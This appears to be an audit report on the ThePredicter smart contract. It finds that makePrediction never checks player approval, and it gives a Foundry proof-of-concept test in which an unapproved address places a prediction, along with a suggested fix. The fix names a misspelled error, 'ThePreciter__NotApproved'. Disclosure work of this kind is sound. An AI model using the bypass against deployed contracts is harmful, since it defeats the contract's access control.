Summary
The approvePlayer function in the ThePredicter smart contract is designed to approve players for making predictions. However, the current implementation does not enforce the approval requirement, allowing any user to make predictions without being approved.
Vulnerability Details
The makePrediction function does not check whether the caller is an approved player before allowing them to make a prediction.
Impact
The approval process is effectively bypassed, rendering the approvePlayer function useless.
PoC
function test_PredictWithoutApprove() public {
address stranger1 = makeAddr("stranger1");
address stranger2 = makeAddr("stranger2");
vm.deal(stranger1 , 1 ether);
vm.deal(stranger2 , 1 ether);
vm.prank(stranger1);
thePredicter.register{value:0.04 ether}();
vm.prank(organizer);
thePredicter.approvePlayer(stranger1);
vm.prank(stranger1);
thePredicter.makePrediction{value: 0.0001 ether}(
0,
ScoreBoard.Result.First
);
vm.startPrank(stranger2);
thePredicter.register{value:0.04 ether}();
thePredicter.makePrediction{value: 0.0001 ether}(
0,
ScoreBoard.Result.First
);
vm.stopPrank();
}
Tools Used
Manual reading, Foundry
Recommendations
function makePrediction(
uint256 matchNumber,
ScoreBoard.Result prediction
) public payable {
+ if(playersStatus[msg.sender] != Status.Approved){
+ revert ThePreciter__NotApproved();
+ }
if (msg.value != predictionFee) {
revert ThePredicter__IncorrectPredictionFee();
}
if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
revert ThePredicter__PredictionsAreClosed();
}
scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
}